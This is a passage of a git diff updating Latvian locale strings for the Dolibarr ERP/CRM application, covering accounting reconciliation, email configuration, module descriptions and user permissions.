nav pārsūtīti grāmatvedībā) DescVentilDoneSupplier=Šeit skatiet piegādātāju rēķinu un to grāmatvedības kontu sarakstu DescVentilTodoExpenseReport=Bind expense report lines, kas jau nav saistītas ar maksu grāmatvedības kontu DescVentilExpenseReport=Konsultējieties šeit ar izdevumu pārskatu rindiņu sarakstu, kas ir saistoši (vai nē) ar maksu grāmatvedības kontu @@ -279,24 +291,25 @@ DescVentilExpenseReportMore=Ja jūs izveidojat grāmatvedības kontu uz izdevumu DescVentilDoneExpenseReport=Konsultējieties šeit ar izdevumu pārskatu rindu sarakstu un to maksu grāmatvedības kontu Closure=Gada slēgšana -DescClosure=Consult here the number of movements by month not yet validated & locked +DescClosure=Šeit skatiet kustību skaitu pa mēnešiem, kas vēl nav apstiprinātas un bloķētas OverviewOfMovementsNotValidated=Pārskats par kustībām, kas nav apstiprinātas un bloķētas AllMovementsWereRecordedAsValidated=Visas kustības tika reģistrētas kā apstiprinātas un bloķētas NotAllMovementsCouldBeRecordedAsValidated=Ne visas kustības varēja reģistrēt kā apstiprinātas un bloķētas -ValidateMovements=Apstiprināt un bloķēt ierakstu... +ValidateMovements=Validēt un bloķēt kustības... DescValidateMovements=Jebkādas rakstīšanas, burtu un izdzēsto tekstu izmaiņas vai dzēšana būs aizliegtas. Visi vingrinājumu ieraksti ir jāapstiprina, pretējā gadījumā aizvēršana nebūs iespējama ValidateHistory=Piesaistiet automātiski AutomaticBindingDone=Automātiskā saistīšana ir pabeigta (%s) — dažiem ierakstiem automātiskā saistīšana nav iespējama (%s) +DoManualBindingForFailedRecord=Jums ir jāizveido manuāla saite rindai %s, kas nav saistīta automātiski. -ErrorAccountancyCodeIsAlreadyUse=Kļūda, nevarat izdzēst šo grāmatvedības kontu, jo tas tiek izmantots +ErrorAccountancyCodeIsAlreadyUse=Kļūda. Šo kontu plāna kontu nevar noņemt vai atspējot, jo tas tiek izmantots MvtNotCorrectlyBalanced=Kustības nav pareizi līdzsvarotas. Debets = %s & kredīts = %s Balancing=Līdzsvarošana FicheVentilation=Iesiešanas kartiņa GeneralLedgerIsWritten=Darījumi ir rakstīti grāmatvedībā GeneralLedgerSomeRecordWasNotRecorded=Daži darījumi nevarēja tikt publicēti žurnālā. Ja nav citas kļūdas ziņojuma, iespējams, ka tie jau tika publicēti. NoNewRecordSaved=Vairs nav pārsūtāmu ierakstu -ListOfProductsWithoutAccountingAccount=Produktu saraksts, uz kuriem nav saistīta kāds grāmatvedības konts +ListOfProductsWithoutAccountingAccount=Produktu saraksts, kas nav piesaistīti nevienam konta plāna kontam ChangeBinding=Mainiet saites Accounted=Uzskaitīts virsgrāmatā NotYetAccounted=Vēl nav pārnests uz grāmatvedību @@ -319,9 +332,10 @@ AccountingJournalType1=Dažādas darbības AccountingJournalType2=Pārdošanas AccountingJournalType3=Pirkumi AccountingJournalType4=Banka -AccountingJournalType5=Izdevumu pārskats +AccountingJournalType5=Izdevumu atskaites AccountingJournalType8=Inventārs AccountingJournalType9=Ir jauns +GenerationOfAccountingEntries=Grāmatvedības ierakstu ģenerēšana ErrorAccountingJournalIsAlreadyUse=Šis žurnāls jau ir izmantots AccountingAccountForSalesTaxAreDefinedInto=Piezīme. Pārdošanas nodokļa grāmatvedības konts ir norādīts izvēlnē %s - %s . NumberOfAccountancyEntries=Ierakstu skaits @@ -329,10 +343,14 @@ NumberOfAccountancyMovements=Pārvietošanas skaits ACCOUNTING_DISABLE_BINDING_ON_SALES=Atspējot saistīšanu un pārskaitīšanu pārdošanas grāmatvedībā (klienta rēķini netiks ņemti vērā grāmatvedībā) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Atspējot saistīšanu un pārsūtīšanu pirkumu grāmatvedībā (pārdevēja rēķini netiks ņemti vērā grāmatvedībā) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Atspējojiet grāmatvedībā iesiešanu un pārskaitīšanu izdevumu pārskatos (grāmatvedībā netiks ņemti vērā izdevumu pārskati) +ACCOUNTING_ENABLE_LETTERING=Grāmatvedībā iespējot burtu funkciju +ACCOUNTING_ENABLE_AUTOLETTERING=Iespējot automātisko burtu rakstīšanu, pārejot uz grāmatvedību ## Export +NotExportLettering=Veidojot failu, neeksportējiet burtus NotifiedExportDate=Atzīmējiet eksportētās rindas kā Eksportētas (lai mainītu rindu, jums būs jāizdzēš viss darījums un atkārtoti jāpārsūta uz grāmatvedību) -NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "Closure" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedValidationDate=Apstipriniet un bloķējiet eksportētos ierakstus (tāds pats efekts kā funkcijai "%s", rindu modifikācija un dzēšana NOTEIKTI nebūs iespējama) +NotifiedExportFull=Eksportēt dokumentus? DateValidationAndLock=Datuma apstiprināšana un bloķēšana ConfirmExportFile=Apstiprinājums par grāmatvedības eksporta faila ģenerēšanu? ExportDraftJournal=Eksporta žurnāla projekts @@ -389,7 +407,7 @@ SaleLocal=Vietējā pārdošana SaleExport=Eksporta pārdošana SaleEEC=Pārdošana EEK SaleEECWithVAT=Pārdošana EEK ar PVN nav spēkā, tāpēc domājams, ka tā NAV iekšējā tirdzniecība, un ieteiktais konts ir standarta produkta konts. -SaleEECWithoutVATNumber=Pārdošana EEK bez PVN, bet trešās puses PVN ID nav definēts. Mēs atteicamies no standarta produkta standarta konta. Ja nepieciešams, varat salabot trešās personas PVN ID vai produkta kontu. +SaleEECWithoutVATNumber=Pārdošana EEK bez PVN, bet nav noteikts trešās puses PVN ID. Mēs atgriežamies pie standarta pārdošanas konta. Varat labot trešās puses PVN ID vai mainīt produkta kontu, kas ieteikts saistīšanai, ja nepieciešams. ForbiddenTransactionAlreadyExported=Aizliegts: darījums ir apstiprināts un/vai eksportēts. ForbiddenTransactionAlreadyValidated=Aizliegts: darījums ir apstiprināts. ## Dictionary @@ -398,7 +416,11 @@ Calculated=Aprēķināts Formula=Formula ## Reconcile +LetteringAuto=Saskaņot auto +LetteringManual=Saskaņošanas rokasgrāmata Unlettering=Nesamierināties +UnletteringAuto=Nesaskaņots auto +UnletteringManual=Nesaskaņojama rokasgrāmata AccountancyNoLetteringModified=Saskaņošana nav mainīta AccountancyOneLetteringModifiedSuccessfully=Viens saskaņojums ir veiksmīgi pārveidots AccountancyLetteringModifiedSuccessfully=%s saskaņošana ir veiksmīgi modificēta @@ -407,7 +429,8 @@ AccountancyOneUnletteringModifiedSuccessfully=Viena nesaskaņošana ir veiksmīg AccountancyUnletteringModifiedSuccessfully=%s nesaskaņošana ir veiksmīgi modificēta ## Confirm box -ConfirmMassUnlettering=Lielapjoma nesaskaņošanas apstiprinājums +ConfirmMassUnletteringAuto=Lielapjoma automātiskās nesaskaņošanas apstiprinājums +ConfirmMassUnletteringManual=Lielapjoma manuālas nesaskaņošanas apstiprinājums ConfirmMassUnletteringQuestion=Vai tiešām vēlaties nesaskaņot %s atlasītos ierakstus? ConfirmMassDeleteBookkeepingWriting=Lielapjoma dzēšanas apstiprinājums ConfirmMassDeleteBookkeepingWritingQuestion=Tādējādi darījums tiks dzēsts no uzskaites (tiks dzēstas visas ar to pašu darījumu saistītās rindas) Vai tiešām vēlaties dzēst %s atlasītos ierakstus? @@ -428,6 +451,7 @@ AccountancyErrorMismatchLetterCode=Saskaņošanas koda neatbilstība AccountancyErrorMismatchBalanceAmount=Atlikums (%s) nav vienāds ar 0 AccountancyErrorLetteringBookkeeping=Ir radušās kļūdas saistībā ar darījumiem: %s ErrorAccountNumberAlreadyExists=Grāmatvedības numurs %s jau pastāv +ErrorArchiveAddFile=Arhīvā nevar ievietot failu "%s". ## Import ImportAccountingEntries=Grāmatvedības ieraksti @@ -454,6 +478,7 @@ FECFormatMulticurrencyCode=Daudzvalūtu kods (Idevise) DateExport=Eksporta datums WarningReportNotReliable=Brīdinājums. Šis pārskats nav balstīts uz grāmatvedi, tādēļ tajā nav darījumu, kas Manuāli ir manuāli modificēts. Ja žurnāls ir atjaunināts, grāmatvedības skats ir precīzāks. ExpenseReportJournal=Izdevumu atskaites žurnāls -InventoryJournal=Inventāra žurnāls +DocsAlreadyExportedAreExcluded=Jau eksportētie dokumenti tiek izslēgti +ClickToHideAlreadyExportedLines=Noklikšķiniet, lai paslēptu jau eksportētās līnijas NAccounts=%s konti diff --git a/htdocs/langs/lv_LV/admin.lang b/htdocs/langs/lv_LV/admin.lang index 52ab7d36c57..104c16aa966 100644 --- a/htdocs/langs/lv_LV/admin.lang +++ b/htdocs/langs/lv_LV/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=Klientu salīdzināšana WarningModuleNotActive=Modulim %s ir jābūt aktivizētam WarningOnlyPermissionOfActivatedModules=Tikai atļaujas, kas saistīti ar aktīviem moduļi tiek parādīts šeit. Jūs varat aktivizēt citus moduļus Mājās->Iestatījumi->moduļi lapā. DolibarrSetup=Dolibarr instalēšana vai atjaunināšana -InternalUser=Iekšējais lietotājs -ExternalUser=Ārējais lietotājs InternalUsers=Iekšējie lietotāji ExternalUsers=Ārējie lietotāji UserInterface=Lietotāja interfeiss @@ -109,7 +107,7 @@ NextValueForReplacements=Tālāk vērtība (nomaiņa) MustBeLowerThanPHPLimit=Piezīme: jūsu PHP konfigurācija šobrīd ierobežo maksimālo augšupielādējamā faila lielumu līdz %s %s, neatkarīgi no šī parametra vērtības NoMaxSizeByPHPLimit=Piezīme: Nav limits tiek noteikts jūsu PHP konfigurācijā MaxSizeForUploadedFiles=Maksimālais augšupielādējamo failu izmērs (0 nepieļaut failu augšupielādi) -UseCaptchaCode=Use graphical code (CAPTCHA) on login page and some public pages +UseCaptchaCode=Izmantojiet grafisko kodu (CAPTCHA) pieteikšanās lapā un dažās publiskās lapās AntiVirusCommand=Pilns ceļš antivīrusa komandai AntiVirusCommandExample=ClamAv Daemon piemērs (nepieciešams clamav-daemon): / usr / bin / clamdscan
      ClamWin piemērs (ļoti ļoti lēns): c: \\ Progra ~ 1 \\ ClamWin \\ bin \\ clamscan.exe AntiVirusParam= Papildus komandrindas parametri @@ -147,6 +145,7 @@ Box=Logrīks Boxes=Logrīki MaxNbOfLinesForBoxes=Maks. logrīku līniju skaits AllWidgetsWereEnabled=Ir iespējoti visi pieejamie logrīki +WidgetAvailable=Widget available PositionByDefault=Noklusējuma secība Position=Pozīcija MenusDesc=Izvēlnes pārvaldnieki nosaka divu izvēlņu joslu saturu (horizontāli un vertikāli). @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=SMTP/SMTPS Resursa (noklusējuma vērtība php.ini: %s< MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=SMTP / SMTPS ports (nav definēts PHP uz Unix līdzīgām sistēmām) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=SMTP/SMTPS resurs (nav definēts PHP Unix līdzīgās sistēmās) MAIN_MAIL_EMAIL_FROM=Sūtītāja e-pasta ziņojums automātiskajiem e-pasta ziņojumiem (noklusējuma vērtība php.ini: %s) +EMailHelpMsgSPFDKIM=Lai Dolibarr e-pasta ziņojumi netiktu klasificēti kā mēstules, pārliecinieties, vai serveris ir pilnvarots sūtīt e-pastus no šīs adreses, izmantojot SPF un DKIM konfigurāciju. MAIN_MAIL_ERRORS_TO=E-pasts, ko izmanto, lai kļūtu, atgriež e-pastus (laukos 'Kļūdas-To' e-pasta ziņojumos) MAIN_MAIL_AUTOCOPY_TO= Kopija (Bcc) visi nosūtītie e-pasta ziņojumi uz MAIN_DISABLE_ALL_MAILS=Atspējot visu e-pasta sūtīšanu (izmēģinājuma nolūkos vai demonstrācijās) @@ -375,7 +375,7 @@ DoTestSendHTML=Tests nosūtot HTML ErrorCantUseRazIfNoYearInMask=Kļūda, nevar izmantot opciju @, lai atjaunotu skaitītāju katru gadu, ja secība {yy} vai {yyyy} nav maskā. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Kļūda, nevar izmantot iespēju @, ja secība {gg} {mm} vai {gggg} {mm} nav maska. UMask=Umask parametri jauniem failiem Unix/Linux/BSD/Mac failu sistēma. -UMaskExplanation=Šis parametrs ļauj noteikt atļaujas, kas pēc noklusējuma failus, ko rada Dolibarr uz servera (laikā augšupielādēt piemēram).
      Tam jābūt astotnieku vērtība (piemēram, 0666 nozīmē lasīt un rakstīt visiem).
      Šis parametrs ir bezjēdzīgi uz Windows servera. +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=Apskatiet Wiki lapu, lai iegūtu sarakstu ar dalībniekiem un to organizācijām UseACacheDelay= Kavēšanās caching eksporta atbildes sekundēs (0 vai tukšs bez cache) DisableLinkToHelpCenter=Paslēpt saiti " nepieciešama palīdzība vai atbalsts " pieteikšanās lapā @@ -407,7 +407,7 @@ NoSmsEngine=Nav pieejams neviens SMS sūtītāja pārvaldnieks. SMS sūtītāja PDF=PDF PDFDesc=Globālās iespējas PDF ģenerēšanai PDFOtherDesc=PDF opcija, kas raksturīga dažiem moduļiem -PDFAddressForging=Noteikumi par adreses sadaļu +PDFAddressForging=Noteikumi adreses sadaļai HideAnyVATInformationOnPDF=Slēpt visu informāciju, kas saistīta ar pārdošanas nodokli / PVN PDFRulesForSalesTax=Pārdošanas nodokļa / PVN noteikumi PDFLocaltax=Noteikumi par %s @@ -439,8 +439,10 @@ Unique=Unikāls Boolean=Boolean (one checkbox) ExtrafieldPhone = Telefons ExtrafieldPrice = Cena +ExtrafieldPriceWithCurrency=Cena ar valūtu ExtrafieldMail = E-pasts ExtrafieldUrl = Url +ExtrafieldIP = IP ExtrafieldSelect = Izvēlēties sarakstu ExtrafieldSelectList = Izvēlieties kādu no tabulas ExtrafieldSeparator=Atdalītājs (nevis lauks) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=Izvēles rūtiņas ExtrafieldCheckBoxFromList=Izvēles rūtiņas no tabulas ExtrafieldLink=Saite uz objektu ComputedFormula=Aprēķinātais lauks -ComputedFormulaDesc=Šeit var ievadīt formulu, izmantojot citas objekta īpašības vai jebkuru PHP kodējumu, lai iegūtu dinamisku aprēķinātu vērtību. Jūs varat izmantot jebkuras ar PHP saderīgas formulas, ieskaitot "?" nosacījuma operators un sekojošs globālais objekts: $ db, $ conf, $ langs, $ mysoc, $ user, $ object .
      BRĪDINĀJUMS : Var būt pieejamas tikai dažas objekta $ īpašības. Ja jums nepieciešami rekvizīti, kas nav ielādēti, vienkārši ienesiet objektu savā formulā, piemēram, otrajā piemērā.
      Izmantojot aprēķinātu lauku, nozīmē, ka no interfeisa nevar sev ievadīt nekādas vērtības. Turklāt, ja ir sintakse kļūda, formula var neko neatdot.

      Piemērs formulai:
      $ object-> id < 10 ? round($object-> id / 2, 2): ($ object-> id + 2 * $ user-> id) * (int) substr ($ mysoc-> zip, 1 )

      Piemērs objekta pārlādēšanai
      (($ reloadedobj = jauna Societe ($ db)) && ($ reloadedobj-> fetchNoCompute) ($ obj-> id? $ obj-> id: ($ obj-> id: (ob ob-): > rowid: $ object-> id))> 0))? $ reloadedobj-> masīvs_options ['options_extrafieldkey'] * $ reloadedobj-> capital / 5: '-1'

      Cits piemērs formulai, ar kuras palīdzību tiek piespiesta objekta un tā vecāka objekta ielāde:
      (($ reloadedobj = new )) && ($ reloadedobj-> fetchNoCompute ($ object-> id)> 0) && ($ secondloadedobj = new Project ($ db)) && ($ secondloadedobj-> fetchNoCompute ($ reloadedobj-> fk_project)> 0))? $ secondloadedobj-> ref: 'Vecāku projekts nav atrasts' +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=Veikt aprēķinātu lauku ComputedpersistentDesc=Aprēķinātie papildu lauki tiks saglabāti datubāzē, taču vērtība tiks pārrēķināta tikai tad, kad mainīsies šī lauka objekts. Ja aprēķinātais lauks ir atkarīgs no citiem objektiem vai globāliem datiem, šī vērtība var būt nepareiza! ExtrafieldParamHelpPassword=Atstājot šo lauku tukšu, tas nozīmē, ka šī vērtība tiks saglabāta bez šifrēšanas (laukam jābūt paslēptai tikai ar zvaigznīti uz ekrāna).
      Iestatiet 'auto', lai izmantotu noklusējuma šifrēšanas kārtulu, lai saglabātu paroli datubāzē (pēc tam vērtība lasīt būs ashh tikai, nav iespējams izgūt sākotnējo vērtību) @@ -477,7 +479,7 @@ InstalledInto=Instalēta direktorijā %s BarcodeInitForThirdparties=Masveida svītru kodu veidošana trešajām personām BarcodeInitForProductsOrServices=Masveida svītrkodu veidošana produktu vai pakalpojumu atiestatīšana CurrentlyNWithoutBarCode=Pašlaik jums ir %s ierakstu %s %s bez definēta svītrukoda. -InitEmptyBarCode=Init value for the %s empty barcodes +InitEmptyBarCode=Sākotnējā vērtība %s tukšajiem svītrkodiem EraseAllCurrentBarCode=Dzēst visas svītrkodu vērtības ConfirmEraseAllCurrentBarCode=Vai tiešām vēlaties dzēst visas svītrkodu vērtības ? AllBarcodeReset=Visas svītrkodu vērtības dzēstas @@ -501,10 +503,11 @@ WarningPHPMail=BRĪDINĀJUMS. E-pasta ziņojumu sūtīšanai no lietojumprogramm WarningPHPMailA=- E-pasta pakalpojumu sniedzēja servera izmantošana palielina jūsu e-pasta uzticamību, tāpēc tas palielina piegādājamību, nepazīmējot to kā SPAM WarningPHPMailB=- Daži e-pasta pakalpojumu sniedzēji (piemēram, Yahoo) neļauj sūtīt e-pastu no cita servera, izņemot viņu pašu serveri. Pašreizējā iestatījumā e-pasta ziņojumu sūtīšanai tiek izmantots lietojumprogrammas serveris, nevis jūsu e-pasta pakalpojumu sniedzēja serveris, tāpēc daži adresāti (kas ir saderīgi ar ierobežojošo DMARC protokolu) jautās jūsu e-pasta pakalpojumu sniedzējam, vai viņi var pieņemt jūsu e-pastu, un dažiem e-pasta pakalpojumu sniedzējiem (piemēram, Yahoo) var atbildēt "nē", jo serveris nav viņu, tāpēc daži no jūsu nosūtītajiem e-pasta ziņojumiem var netikt pieņemti piegādei (esiet piesardzīgs arī attiecībā uz sava e-pasta pakalpojumu sniedzēja sūtīšanas kvotu). WarningPHPMailC=- Arī sava e-pasta pakalpojumu sniedzēja SMTP servera izmantošana e-pasta ziņojumu sūtīšanai ir interesanta, tāpēc visi no lietojumprogrammas nosūtītie e-pasta ziņojumi tiks saglabāti arī jūsu pastkastes direktorijā Nosūtītie. -WarningPHPMailD=Tāpēc arī ieteicams mainīt e-pasta sūtīšanas metodi uz vērtību "SMTP". Ja jūs patiešām vēlaties saglabāt noklusējuma PHP metodi e -pasta ziņojumu sūtīšanai, vienkārši ignorējiet šo brīdinājumu vai noņemiet to, iestatot iestatījumu MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP uz 1 - Sākums - Iestatīšana - Citi. +WarningPHPMailD=Tāpēc ir ieteicams mainīt e-pasta sūtīšanas metodi uz vērtību "SMTP". +WarningPHPMailDbis=Ja patiešām vēlaties saglabāt noklusējuma "PHP" metodi e-pasta sūtīšanai, vienkārši ignorējiet šo brīdinājumu vai noņemiet to, %snoklikšķinot šeit%s. WarningPHPMail2=Ja jūsu e-pasta SMTP pakalpojumu sniedzējs ierobežo e-pasta klientus uz dažām IP adresēm (ļoti reti), tad jūsu ERP CRM lietojumprogrammas e-pasta lietotāja aģenta (MUA) IP adrese ir: %s. WarningPHPMailSPF=Ja domēna vārds jūsu sūtītāja e-pasta adresē ir aizsargāts ar SPF ierakstu (jautājiet savam domēna vārda reģistratoram), sava domēna DNS SPF ierakstā ir jāpievieno šādi IP: %s . -ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s +ActualMailSPFRecordFound=Atrasts faktiskais SPF ieraksts (e-pastam %s): %s ClickToShowDescription=Noklikšķiniet, lai parādītu aprakstu DependsOn=Šim modulim nepieciešams modulis(-i) RequiredBy=Šis modulis nepieciešams modulim (-ļiem) @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      Piemērs:
      Lai veidlapa izveidotu jaunu t PageUrlForDefaultValuesList=
      Piemērs:
      Lapai, kurā uzskaitītas trešās personas, tas ir %s .
      Par ārējā moduļa URL, kas instalēts pielāgotā direktorijā, neietveriet 'custom /' ceļš, piemēram, mymodule / mypagelist.php un nevis pielāgots / mymodule / mypagelist.php.
      Ja vēlaties noklusējuma vērtību tikai tad, ja URL ir kāds parametrs, varat izmantot %s AlsoDefaultValuesAreEffectiveForActionCreate=Ņemiet vērā arī to, ka veidlapu izveides noklusējuma vērtību pārrakstīšana darbojas tikai tām lapām, kas ir pareizi izstrādātas (tātad ar parametru darbību = izveidot vai prezentēt ...) EnableDefaultValues=Iespējot noklusējuma vērtību pielāgošanu -EnableOverwriteTranslation=Iespējot pārrakstīto tulkojumu izmantošanu +EnableOverwriteTranslation=Atļaut pielāgot tulkojumus GoIntoTranslationMenuToChangeThis=Taustiņam ir atrasts tulkojums ar šo kodu. Lai mainītu šo vērtību, jums ir jārediģē no Mājas-Iestatījumi-tulkošana. WarningSettingSortOrder=Brīdinājums, noklusējuma rūtiņu secības iestatīšana var radīt tehnisku kļūdu, apmeklējot saraksta lapu, ja lauks nav nezināma lauka. Ja rodas šāda kļūda, atgriezieties šajā lapā, lai noņemtu noklusējuma kārtošanas secību un atjaunotu noklusējuma darbību. Field=Lauks @@ -643,11 +646,13 @@ Module2300Name=Plānotie darbi Module2300Desc=Plānotais darbavietu vadība (alias cron vai chrono galds) Module2400Name=Pasākumi / darba kārtība Module2400Desc=Sekojiet notikumiem. Reģistrējiet automātiskos notikumus izsekošanas nolūkos vai ierakstiet manuālos notikumus vai sanāksmes. Tas ir galvenais modulis labam klientu vai pārdevēju attiecību pārvaldībai. +Module2430Name=Rezervācijas kalendāra sistēma +Module2430Desc=Nodrošiniet tiešsaistes kalendāru, lai ikviens varētu rezervēt tikšanās vietas atbilstoši iepriekš noteiktam diapazonam vai pieejamībai. Module2500Name=DMS / ECM Module2500Desc=Dokumentu vadības sistēma / elektroniskā satura vadība. Jūsu radīto vai saglabāto dokumentu automātiska organizēšana. Kopīgojiet tos pēc vajadzības. -Module2600Name=API/tīmekļa servera pakalpojumi (SOAP serveris) +Module2600Name=API/tīmekļa pakalpojumi (SOAP serveris) Module2600Desc=Iespējot Dolibarr SOAP serveri, kas nodrošina API pakalpojumus -Module2610Name=API/Web services (REST server) +Module2610Name=API/tīmekļa pakalpojumi (REST serveris) Module2610Desc=Enable the Dolibarr REST server providing API services Module2660Name=Izsaukt Web pakalpojumu (SOAP klients) Module2660Desc=Iespējot Dolibarr tīmekļa pakalpojumu klientu (var izmantot datu / pieprasījumu virzīšanai uz ārējiem serveriem. Pašlaik tiek atbalstīti tikai pirkuma pasūtījumi.) @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=GeoIP MaxMind pārveidošanu iespējas Module3200Name=Nemainīgi arhīvi Module3200Desc=Iespējojiet nemainīgu biznesa notikumu žurnālu. Notikumi tiek arhivēti reāllaikā. Žurnāls ir tikai lasāmu tabulu ķēdes notikumus, kurus var eksportēt. Šis modulis dažās valstīs var būt obligāts. +Module3300Name=Moduļu veidotājs +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. Module3400Name=Sociālie tīkli Module3400Desc=Iespējojiet sociālo tīklu laukus trešajām pusēm un adresēm (skype, twitter, facebook, ...). Module4000Name=HRM @@ -698,7 +705,10 @@ Module62000Name=Inkoterms Module62000Desc=Pievienojiet funkcijas, lai pārvaldītu Incoterms Module63000Name=Resursi Module63000Desc=Pārvaldiet resursus (printerus, automašīnas, telpas, ...), lai piešķirtu notikumiem -Permission11=Lasīt klientu rēķinus +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=Pieņemšanas +Permission11=Read customer invoices (and payments) Permission12=Izveidot / mainīt klientu rēķinus Permission13=Nederīgi klientu rēķini Permission14=Pārbaudīt klientu rēķinus @@ -714,7 +724,7 @@ Permission27=Dzēst komerciālos priekšlikumus Permission28=Eksportēt tirdzniecības priekšlikumus Permission31=Lasīt produktus Permission32=Izveidot / mainīt produktus -Permission33=Read prices products +Permission33=Izlasiet produktu cenas Permission34=Dzēst produktus Permission36=Skatīt/vadīt slēptos produktus Permission38=Eksportēt produktus @@ -740,7 +750,7 @@ Permission79=Izveidot/mainīt abonementus Permission81=Lasīt klientu pasūtījumus Permission82=Izveidot/mainīt klientu pasūtījumus Permission84=Apstiprināt klientu pasūtījumus -Permission85=Generate the documents sales orders +Permission85=Ģenerējiet pārdošanas pasūtījumu dokumentus Permission86=Sūtīt klientu pasūtījumus Permission87=Slēgt klientu pasūtījumus Permission88=Atcelt klientu pasūtījumus @@ -815,7 +825,7 @@ Permission221=Lasīt emailings Permission222=Izveidot/mainīt e-pasta (tēmu, saņēmējus ...) Permission223=Apstiprināt emailings (ļauj sūtīt) Permission229=Dzēst emailings -Permission237=Skatīt saņēmējiem un info +Permission237=Skatīt saņēmējus un info Permission238=Manuāli sūtīt sūtījumus Permission239=Dzēst sūtījumus pēc apstiprināšanas, vai jānosūta Permission241=Lasīt sadaļas @@ -842,9 +852,9 @@ Permission286=Eksportēt kontaktus Permission291=Skatīt tarifus Permission292=Iestatiet atļaujas tarifiem Permission293=Mainīt klienta tarifus -Permission300=Lasīt svītrkodus -Permission301=Izveidojiet/labojiet svītrkodus -Permission302=Svītrkoda dzēšana +Permission301=Ģenerējiet svītrkodu PDF lapas +Permission304=Izveidojiet/labojiet svītrkodus +Permission305=Svītrkoda dzēšana Permission311=Lasīt pakalpojumus Permission312=Piešķirt pakalpojuma/abonēšanas līgumu Permission331=Lasīt grāmatzīmes @@ -876,7 +886,7 @@ Permission525=Piekļuves kredīta kalkulators Permission527=Eksportēt kredītus Permission531=Lasīt pakalpojumus Permission532=Izveidot/mainīt pakalpojumus -Permission533=Read prices services +Permission533=Izlasiet pakalpojumu cenas Permission534=Dzēst pakalpojumus Permission536=Skatīt/vadīt slēptos pakalpojumus Permission538=Eksportēt pakalpojumus @@ -940,7 +950,7 @@ Permission1190=Apstiprināt (otro apstiprinājumu) pirkuma pasūtījumus Permission1191=Eksporta piegādātāju pasūtījumi un to atribūti Permission1201=Saņemt eksportēšanas rezultātu Permission1202=Izveidot/Modificēt eksportu -Permission1231=Lasīt pārdevēja rēķinus +Permission1231=Read vendor invoices (and payments) Permission1232=Izveidojiet / modificējiet piegādātāja rēķinus Permission1233=Apstiprināt pārdevēja rēķinus Permission1234=Dzēst piegādātāja rēķinus @@ -971,13 +981,14 @@ Permission3301=Ģenerējiet jaunus moduļus Permission4001=Izlasiet prasmes/darbu/amatu Permission4002=Izveidot/mainīt prasmes/darbu/amatu Permission4003=Dzēst prasmi/darbu/amatu -Permission4020=Lasīt vērtējumus -Permission4021=Izveidojiet/pārveidojiet savu vērtējumu -Permission4022=Apstipriniet novērtējumu -Permission4023=Dzēst novērtējumu -Permission4030=Skatiet salīdzināšanas izvēlni +Permission4021=Lasīt vērtējumus (jūsu un jūsu padoto) +Permission4022=Izveidot/mainīt novērtējumus +Permission4023=Apstipriniet novērtējumu +Permission4025=Dzēst novērtējumu +Permission4028=Skatiet salīdzināšanas izvēlni Permission4031=Izlasiet personisko informāciju Permission4032=Uzrakstiet personisko informāciju +Permission4033=Lasīt visus vērtējumus (arī tos, kas attiecas uz lietotāju, nevis padotajiem) Permission10001=Lasīt tīmekļa vietnes saturu Permission10002=Izveidot / mainīt vietnes saturu (html un javascript saturu) Permission10003=Izveidojiet / modificējiet vietnes saturu (dinamisko php kodu). Bīstami, tie ir jārezervē ierobežotiem izstrādātājiem. @@ -1081,6 +1092,10 @@ DictionaryAssetDisposalType=Aktīvu atsavināšanas veids TypeOfUnit=Vienības veids SetupSaved=Iestatījumi saglabāti SetupNotSaved=Iestatīšana nav saglabāta +OAuthServiceConfirmDeleteTitle=Dzēst OAuth ierakstu +OAuthServiceConfirmDeleteMessage=Vai tiešām vēlaties dzēst šo OAuth ierakstu? Tiks dzēsti arī visi tam esošie marķieri. +ErrorInEntryDeletion=Ieraksta dzēšanas kļūda +EntryDeleted=Ieraksts izdzēsts BackToModuleList=Atpakaļ uz moduļu sarakstu BackToDictionaryList=Atpakaļ uz vārdnīcu sarakstu TypeOfRevenueStamp=Nodokļu zīmoga veids @@ -1132,7 +1147,7 @@ ValueOfConstantKey=Konfigurācijas konstantes vērtība ConstantIsOn=Iespējota opcija %s NbOfDays=Dienu skaits AtEndOfMonth=mēneša beigās -CurrentNext=A given day in month +CurrentNext=Noteikta diena mēnesī Offset=Kompensācija AlwaysActive=Vienmēr aktīvs Upgrade=Atjaunināt @@ -1222,7 +1237,7 @@ SetupDescription4=  %s -> %s

